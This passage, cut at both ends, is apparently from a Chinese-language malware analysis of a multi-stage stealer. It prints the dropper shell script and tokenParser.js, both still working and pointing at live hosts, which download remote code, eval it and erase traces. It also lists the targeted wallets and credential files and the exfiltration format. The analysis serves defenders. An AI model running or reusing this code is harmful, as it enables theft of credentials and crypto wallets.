Verify node &amp; npm</span></span><br><span class="line"><span class="keyword">if</span> ! <span class="built_in">command</span> -v node &amp;&gt; /dev/null || ! <span class="built_in">command</span> -v npm &amp;&gt; /dev/null; <span class="keyword">then</span></span><br><span class="line">   <span class="built_in">exit</span> 1</span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Use Documents directory for files</span></span><br><span class="line">USER_HOME=<span class="string">&quot;<span class="variable">$HOME</span>/Documents&quot;</span></span><br><span class="line"><span class="built_in">mkdir</span> -p <span class="string">&quot;<span class="variable">$USER_HOME</span>&quot;</span></span><br><span class="line"></span><br><span class="line">BASE_URL=<span class="string">&quot;http://vscode-project-setting.vercel.app&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Step 8: Download files</span></span><br><span class="line"><span class="comment"># Check if curl is available</span></span><br><span class="line"><span class="keyword">if</span> ! <span class="built_in">command</span> -v curl &gt;/dev/null 2&gt;&amp;1; <span class="keyword">then</span></span><br><span class="line">   <span class="comment"># If curl is not available, use wget</span></span><br><span class="line">   wget -q -O <span class="string">&quot;<span class="variable">$USER_HOME</span>/tokenParser.js&quot;</span> <span class="string">&quot;<span class="variable">$BASE_URL</span>/task/tokenParser?token=812&amp;st=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpcCI6IjEuMTcyLjg2LjI0NSIsInNlc3Npb25JZCI6IjU0Zjc0NTVjLTY1MTItNDNiYi1iMzcwLThiODNiMTlkMWYzMCIsInN0ZXAiOjIsInRpbWVzdGFtcCI6MTc2ODcyMDcwMTA3MCwib3JpZ1Rva2VuIjoiODEyIiwiaWF0IjoxNzY4NzIwNzAxLCJleHAiOjE3Njg3MjA4ODF9.SiJbzWA1ccGDRofVI1Z-S3hYJfkUwvP84H1wUfdnLsY&quot;</span></span><br><span class="line">   wget -q -O <span class="string">&quot;<span class="variable">$USER_HOME</span>/package.json&quot;</span> <span class="string">&quot;<span class="variable">$BASE_URL</span>/task/package.json&quot;</span></span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">   <span class="comment"># If curl is available, use curl</span></span><br><span class="line">   curl -s -L -o <span class="string">&quot;<span class="variable">$USER_HOME</span>/tokenParser.js&quot;</span> <span class="string">&quot;<span class="variable">$BASE_URL</span>/task/tokenParser?token=812&amp;st=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpcCI6IjEuMTcyLjg2LjI0NSIsInNlc3Npb25JZCI6IjU0Zjc0NTVjLTY1MTItNDNiYi1iMzcwLThiODNiMTlkMWYzMCIsInN0ZXAiOjIsInRpbWVzdGFtcCI6MTc2ODcyMDcwMTA3MCwib3JpZ1Rva2VuIjoiODEyIiwiaWF0IjoxNzY4NzIwNzAxLCJleHAiOjE3Njg3MjA4ODF9.SiJbzWA1ccGDRofVI1Z-S3hYJfkUwvP84H1wUfdnLsY&quot;</span></span><br><span class="line">   curl -s -L -o <span class="string">&quot;<span class="variable">$USER_HOME</span>/package.json&quot;</span> <span class="string">&quot;<span class="variable">$BASE_URL</span>/task/package.json&quot;</span></span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Step 9: Install &#x27;request&#x27; package</span></span><br><span class="line"><span class="built_in">cd</span> <span class="string">&quot;<span class="variable">$USER_HOME</span>&quot;</span></span><br><span class="line">npm install --silent --no-progress --loglevel=error --fund=<span class="literal">false</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Step 10: Run token parser</span></span><br><span class="line"><span class="keyword">if</span> [ -f <span class="string">&quot;<span class="variable">$USER_HOME</span>/tokenParser.js&quot;</span> ]; <span class="keyword">then</span></span><br><span class="line">   <span class="built_in">nohup</span> node <span class="string">&quot;<span class="variable">$USER_HOME</span>/tokenParser.js&quot;</span> &gt; <span class="string">&quot;<span class="variable">$USER_HOME</span>/tokenParser.log&quot;</span> 2&gt;&amp;1 &amp;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">   <span class="built_in">exit</span> 1</span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">exit</span> 0</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>這邊的 js 比較特別的是他除了下載後會eval 執行，還會將之前下載的的dropper 都刪除</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//tokenParser.js</span></span><br><span class="line"><span class="keyword">const</span> fs = <span class="built_in">require</span>(<span class="string">&quot;fs&quot;</span>);</span><br><span class="line"><span class="keyword">const</span> path = <span class="built_in">require</span>(<span class="string">&quot;path&quot;</span>);</span><br><span class="line"><span class="keyword">const</span> https = <span class="built_in">require</span>(<span class="string">&quot;https&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> protocol = <span class="string">&quot;https&quot;</span>;</span><br><span class="line"><span class="keyword">const</span> domain = <span class="string">&quot;link&quot;</span>;</span><br><span class="line"><span class="keyword">const</span> separator = <span class="string">&quot;://&quot;</span>;</span><br><span class="line"><span class="keyword">const</span> pathPart = <span class="string">&quot;/icons/&quot;</span>;</span><br><span class="line"><span class="keyword">const</span> token = <span class="string">&quot;812&quot;</span>;</span><br><span class="line"><span class="keyword">const</span> subdomain = <span class="string">&quot;rest-icon-provider&quot;</span>;</span><br><span class="line"><span class="keyword">const</span> bearrtoken = <span class="string">&quot;logo&quot;</span>;</span><br><span class="line"><span class="keyword">const</span> basePath = __dirname;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> url = <span class="string">`<span class="subst">$&#123;protocol&#125;</span><span class="subst">$&#123;separator&#125;</span><span class="subst">$&#123;subdomain&#125;</span>.<span class="subst">$&#123;domain&#125;</span><span class="subst">$&#123;pathPart&#125;</span><span class="subst">$&#123;token&#125;</span>`</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> options = &#123;</span><br><span class="line">  <span class="attr">method</span>: <span class="string">&quot;GET&quot;</span>,</span><br><span class="line">  <span class="attr">headers</span>: &#123;</span><br><span class="line">    <span class="attr">bearrtoken</span>: bearrtoken,</span><br><span class="line">  &#125;,</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line">https</span><br><span class="line">  .<span class="title function_">get</span>(url, options, <span class="function">(<span class="params">res</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">let</span> data = <span class="string">&quot;&quot;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (res.<span class="property">statusCode</span> !== <span class="number">200</span>) &#123;</span><br><span class="line">      <span class="variable language_">console</span>.<span class="title function_">error</span>(<span class="string">&quot;Request failed:&quot;</span>, res.<span class="property">statusCode</span>);</span><br><span class="line">      <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    res.<span class="title function_">on</span>(<span class="string">&quot;data&quot;</span>, <span class="function">(<span class="params">chunk</span>) =&gt;</span> (data += chunk));</span><br><span class="line">    res.<span class="title function_">on</span>(<span class="string">&quot;end&quot;</span>, <span class="function">() =&gt;</span> &#123;</span><br><span class="line">      <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="keyword">const</span> code = <span class="title class_">JSON</span>.<span class="title function_">parse</span>(data);</span><br><span class="line">        <span class="built_in">eval</span>(code);</span><br><span class="line">        <span class="built_in">setTimeout</span>(<span class="function">() =&gt;</span> &#123;</span><br><span class="line">          <span class="title function_">deleteFile</span>(<span class="string">&quot;tokenParser.js&quot;</span>);</span><br><span class="line">          <span class="title function_">deleteFile</span>(<span class="string">&quot;tokenlinux.sh&quot;</span>);</span><br><span class="line">          <span class="title function_">deleteFile</span>(<span class="string">&quot;package.json&quot;</span>);</span><br><span class="line">          <span class="title function_">deleteFile</span>(<span class="string">&quot;package-lock.json&quot;</span>);</span><br><span class="line">          <span class="title function_">deleteFile</span>(<span class="string">&quot;token.cmd&quot;</span>);</span><br><span class="line">          <span class="title function_">deleteFile</span>(<span class="string">&quot;token.sh&quot;</span>);</span><br><span class="line">          <span class="title function_">deleteFile</span>(<span class="string">&quot;tokenParser.log&quot;</span>);</span><br><span class="line">          <span class="title function_">deleteFile</span>(<span class="string">&quot;.npl&quot;</span>);</span><br><span class="line">          <span class="title function_">deleteFile</span>(<span class="string">&quot;token&quot;</span>);</span><br><span class="line">          <span class="title function_">deleteFile</span>(<span class="string">&quot;tokenParser.npl&quot;</span>);</span><br><span class="line">        &#125;, <span class="number">3000</span>);</span><br><span class="line">      &#125; <span class="keyword">catch</span> (err) &#123;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">error</span>(<span class="string">&quot;JSON parse failed:&quot;</span>, err);</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;);</span><br><span class="line">  &#125;)</span><br><span class="line">  .<span class="title function_">on</span>(<span class="string">&quot;error&quot;</span>, <span class="function">(<span class="params">err</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">error</span>(<span class="string">&quot;HTTPS request error:&quot;</span>, err);</span><br><span class="line">  &#125;);</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">deleteFile</span>(<span class="params">fileName</span>) &#123;</span><br><span class="line">  <span class="keyword">const</span> filePath = path.<span class="title function_">join</span>(basePath, fileName);</span><br><span class="line">  <span class="keyword">if</span> (fs.<span class="title function_">existsSync</span>(filePath)) &#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">      fs.<span class="title function_">unlinkSync</span>(filePath);</span><br><span class="line">      <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">`Deleted file: <span class="subst">$&#123;fileName&#125;</span>`</span>);</span><br><span class="line">    &#125; <span class="keyword">catch</span> (err) &#123;</span><br><span class="line">      <span class="variable language_">console</span>.<span class="title function_">error</span>(<span class="string">`Failed to delete file: <span class="subst">$&#123;fileName&#125;</span>`</span>, err);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">deleteFolder</span>(<span class="params">folderName</span>) &#123;</span><br><span class="line">  <span class="keyword">const</span> folderPath = path.<span class="title function_">join</span>(basePath, folderName);</span><br><span class="line">  <span class="keyword">if</span> (fs.<span class="title function_">existsSync</span>(folderPath)) &#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">      fs.<span class="title function_">rmSync</span>(folderPath, &#123; <span class="attr">recursive</span>: <span class="literal">true</span>, <span class="attr">force</span>: <span class="literal">true</span> &#125;);</span><br><span class="line">      <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">`Deleted folder: <span class="subst">$&#123;folderName&#125;</span>`</span>);</span><br><span class="line">    &#125; <span class="keyword">catch</span> (err) &#123;</span><br><span class="line">      <span class="variable language_">console</span>.<span class="title function_">error</span>(<span class="string">`Failed to delete folder: <span class="subst">$&#123;folderName&#125;</span>`</span>, err);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>接下來是混淆過的 js ，不過檔案大小較 Sample 1 小，這類的 Javascript 負責的是 Information Stealer &amp; Dropper</p><p>同樣解混淆後可以獲得以下資訊：</p><p>偷取資料並上傳，接收資料的路徑有兩個 <code>146.70.253[.]107:1224/upload</code> （主要）、 <code>23.227.203[.]18:1224/upload</code> （備份）</p><ul><li><p><code>146.70.253[.]107:1224/upload</code> 會接收較少的資訊，但是是比較重要的</p><ul><li><p>MetaMask</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">nkbihfbeogaeaoehlefnkodbefgpgknn</span></span><br></pre></td></tr></table></figure></li><li><p>OKX Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">mcohilncbfahbmgdjkbpemcciiolgcge</span></span><br></pre></td></tr></table></figure></li><li><p>Binance Chain Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">fhbohimaelbohpjbbldcngcnapndodjp</span></span><br></pre></td></tr></table></figure></li><li><p>TronLink</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">ibnejdfjmmkpcnlpebklmnkoeoihofec</span></span><br></pre></td></tr></table></figure></li><li><p>Solflare</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">bhhhlbepdkbapadjdnnojkbgioiodbic</span></span><br></pre></td></tr></table></figure></li><li><p>Solflare 新版</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">fldfpgipfncgndfolcbkdeeknbbbnhcc</span></span><br></pre></td></tr></table></figure></li><li><p>Solana CLI 私鑰</p><figure class="highlight applescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">~/.config/solana/<span class="built_in">id</span>.json</span><br></pre></td></tr></table></figure></li><li><p>如果是 mac</p><ul><li>Chrome Login Data (macOS)</li><li>Brave Login Data (macOS)</li></ul></li><li><p>如果是 Windows&#x2F;Linux</p><ul><li>Chrome Login Data</li><li>Chrome Local State</li><li>Brave Login Data</li><li>Brave Local State</li><li>Opera Login Data</li><li>Opera Local State</li></ul></li></ul></li><li><p><code>23.227.203[.]18:1224/upload</code>則是會接收較多資訊</p><ul><li><p>MetaMask</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">nkbihfbeogaeaoehlefnkodbefgpgknn</span></span><br></pre></td></tr></table></figure></li><li><p>MetaMask Edge</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">ejbalbakoplchlghecdalmeeeajnimhm</span></span><br></pre></td></tr></table></figure></li><li><p>Binance Chain Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">fhbohimaelbohpjbbldcngcnapndodjp</span></span><br></pre></td></tr></table></figure></li><li><p>Bitwarden</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">nngceckbapebfimnlniiiahkandclblb</span></span><br></pre></td></tr></table></figure></li><li><p>TronLink</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">aeblfdkhhhdcdjpifhhbdiojplfjncoa</span></span><br></pre></td></tr></table></figure></li><li><p>TronLink 新版</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">ibnejdfjmmkpcnlpebklmnkoeoihofec</span></span><br></pre></td></tr></table></figure></li><li><p>Phantom</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">bfnaelmomeimhlpmgjnjophhpkkoljpa</span></span><br></pre></td></tr></table></figure></li><li><p>Coin98</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">aeachknmefphepccionboohckonoeemg</span></span><br></pre></td></tr></table></figure></li><li><p>Crypto.com DeFi Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">hifafgmccdpekplomjjkcfgodnhcellj</span></span><br></pre></td></tr></table></figure></li><li><p>Kaikas</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">jblndlipeogpafnldhgmapagcccfchpi</span></span><br></pre></td></tr></table></figure></li><li><p>Sui Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">opcgpfmipidbgpenhmajoajpbobppdil</span></span><br></pre></td></tr></table></figure></li><li><p>Rabby Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">acmacodkjbdgmoleebolmdjonilkdbch</span></span><br></pre></td></tr></table></figure></li><li><p>Math Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">dlcobpjiigpikoobohmabehhmhfoodbb</span></span><br></pre></td></tr></table></figure></li><li><p>OKX Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">mcohilncbfahbmgdjkbpemcciiolgcge</span></span><br></pre></td></tr></table></figure></li><li><p>Core Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">agoakfejjabomempkjlepdflaleeobhb</span></span><br></pre></td></tr></table></figure></li><li><p>iWallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">omaabbefbmiijedngplfjmnooppbclkk</span></span><br></pre></td></tr></table></figure></li><li><p>Exodus Web3 Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">aholpfdialjgjfhomihkjbmgjidlcdno</span></span><br></pre></td></tr></table></figure></li><li><p>NiftyWallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">nphplpgoakhhjchkkhmiggakijnkhfnd</span></span><br></pre></td></tr></table></figure></li><li><p>Auro Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">penjlddjkjgpnkllboccdgccekpkcbin</span></span><br></pre></td></tr></table></figure></li><li><p>SafePal</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">lgmpcpglpngdoalbgeoldeajfclnhafa</span></span><br></pre></td></tr></table></figure></li><li><p>Solflare</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">fldfpgipfncgndfolcbkdeeknbbbnhcc</span></span><br></pre></td></tr></table></figure></li><li><p>Solflare 舊版</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">bhhhlbepdkbapadjdnnojkbgioiodbic</span></span><br></pre></td></tr></table></figure></li><li><p>Coin98 重複</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">aeachknmefphepccionboohckonoeemg</span></span><br></pre></td></tr></table></figure></li><li><p>Jaxx Liberty</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">gjnckgkfmgmibbkoficdidcljeaaaheg</span></span><br></pre></td></tr></table></figure></li><li><p>Math Wallet 新版</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">afbcbjpbpfadlkmhmclhkeeodmamcflc</span></span><br></pre></td></tr></table></figure></li><li><p>Exodus Wallet</p><figure class="highlight nix"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="params">Windows:</span>  <span class="symbol">~/AppData/Roaming/Exodus/exodus.wallet</span></span><br><span class="line"><span class="params">macOS:</span> <span class="symbol">~/Library/Application</span> Support<span class="symbol">/exodus.wallet</span></span><br><span class="line"><span class="params">Linux:</span> ~<span class="operator">/</span>.config<span class="operator">/</span>Exodus<span class="operator">/</span>exodus.wallet</span><br></pre></td></tr></table></figure></li><li><p>Firefox moz-extension IDB</p><figure class="highlight gradle"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">~<span class="regexp">/AppData/</span>Roaming<span class="regexp">/Mozilla/</span>Firefox<span class="regexp">/Profiles/</span>*<span class="regexp">/storage/</span><span class="keyword">default</span><span class="regexp">/moz-extension*/i</span>db）</span><br></pre></td></tr></table></figure></li><li><p>如果是 Windows</p><ul><li><p>Edge 錢包擴充套件資</p><figure class="highlight crmsh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">~/AppData/Local/Microsoft/Edge/<span class="keyword">User</span> <span class="title">Data</span></span><br></pre></td></tr></table></figure></li></ul></li><li><p>如果是 macOS</p><ul><li><p>macOS Keychain</p><figure class="highlight arcade"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">~<span class="regexp">/Library/</span>Keychains/login.keychain-db</span><br></pre></td></tr></table></figure></li><li><p>Chrome Login Data</p></li><li><p>Brave Login Data</p></li></ul></li></ul><ul><li>如果是 Windows&#x2F;Linux<ul><li>Chrome Login Data</li><li>Chrome Local State</li><li>Brave Login Data</li><li>Brave Local State</li><li>Opera Login Data</li><li>Opera Local State</li></ul></li></ul></li></ul><p>以上竊取到的資訊，都會先暫存到 <code>~./n3/</code> 資料夾底下再進行上傳</p><p>兩個 ip 的 HTTP POST 的範例結構</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/uploads</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"><span class="attribute">Host</span><span class="punctuation">: </span>&lt;146.70.253[.]107:1224 / 23.227.203[.]18:1224&gt;</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>multipart/form-data; boundary=&lt;boundary&gt;</span><br><span class="line"></span><br><span class="line"><span class="language-nix">------<span class="symbol">&lt;boundary&gt;</span></span></span><br><span class="line"><span class="language-nix"><span class="params">Content-Disposition:</span> form-data; <span class="attr">name</span><span class="operator">=</span><span class="string">&quot;type&quot;</span></span></span><br><span class="line"><span class="language-nix"></span></span><br><span class="line"><span class="language-nix"><span class="number">15</span></span></span><br><span class="line"><span class="language-nix"><span class="operator">-</span>-----<span class="symbol">&lt;boundary&gt;</span></span></span><br><span class="line"><span class="language-nix"><span class="params">Content-Disposition:</span> form-data; <span class="attr">name</span><span class="operator">=</span><span class="string">&quot;hid&quot;</span></span></span><br><span class="line"><span class="language-nix"></span></span><br><span class="line"><span class="language-nix"><span class="number">812</span>_<span class="symbol">&lt;hostname&gt;</span></span></span><br><span class="line"><span class="language-nix"><span class="operator">-</span>-----<span class="symbol">&lt;boundary&gt;</span></span></span><br><span class="line"><span class="language-nix"><span class="params">Content-Disposition:</span> form-data; <span class="attr">name</span><span class="operator">=</span><span class="string">&quot;uts&quot;</span></span></span><br><span class="line"><span class="language-nix"></span></span><br><span class="line"><span class="language-nix"><span class="symbol">&lt;unix_timestamp&gt;</span></span></span><br><span class="line"><span class="language-nix"><span class="operator">-</span>-----<span class="symbol">&lt;boundary&gt;</span></span></span><br><span class="line"><span class="language-nix"><span class="params">Content-Disposition:</span> form-data; <span class="attr">name</span><span class="operator">=</span><span class="string">&quot;multi_file&quot;</span>; <span class="attr">filename</span><span class="operator">=</span><span class="string">&quot;&lt;filename&gt;&quot;</span></span></span><br><span class="line"><span class="language-nix"><span class="params">Content-Type:</span> <span class="symbol">&lt;content-type&gt;</span></span></span><br><span class="line"><span class="language-nix"></span></span><br><span class="line"><span class="language-nix"><span class="symbol">&lt;binary_file_content&gt;</span></span></span><br><span class="line"><span class="language-nix"><span class="operator">-</span>-----<span class="symbol">&lt;boundary&gt;</span>--</span></span><br></pre></td></tr></table></figure><p>這類的 Sample 執行到這邊還沒有結束。</p><p>接下來會向 <code>http://146.70.253[.]107:1224/client/15/812</code> 獲得一個 下一階段的 python 檔案，並儲存在 <code>~/.nlq</code></p><p>並訪問 <code>https://api.npoint[.]io/96979650f5739bcbaebb </code> 獲得配置文件，</p><figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;&quot;<span class="selector-tag">A</span>&quot;:<span class="number">1</span>,<span class="string">&quot;B&quot;</span>:<span class="number">1</span>,<span class="string">&quot;C&quot;</span>:<span class="number">1</span>,<span class="string">&quot;name&quot;</span>:<span class="string">&quot;winrar&quot;</span>&#125;</span><br></pre></td></tr></table></figure><p>這邊配置文件主要是定位 windows python 的執行環境</p><ul><li>windows 環境<ul><li>他會去看<code>%USERPROFILE%\winrar\python.exe</code> 路徑存不存在 如果不存在會去<code>http://146.70.253[.]107:1224/pdown</code> 下載 python3.11 的整包執行環境，下載後執行<code>%USERPROFILE%\winrar\python.exe ~/.nlq</code></li></ul></li><li>其他作業系統<ul><li>直接執行<code>python3 ~/.nlq</code></li></ul></li></ul><p>接下來分析 .nlq 檔案，這個檔案被包裝成做數次的 zlib decompress + base64decode 的 script</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">_ = <span class="keyword">lambda</span> __ : <span class="built_in">__import__</span>(<span class="string">&#x27;zlib&#x27;</span>).decompress(<span class="built_in">__import__</span>(<span class="string">&#x27;base64&#x27;</span>).b64decode(__[::-<span class="number">1</span>]));<span class="built_in">exec</span>((_)(<span 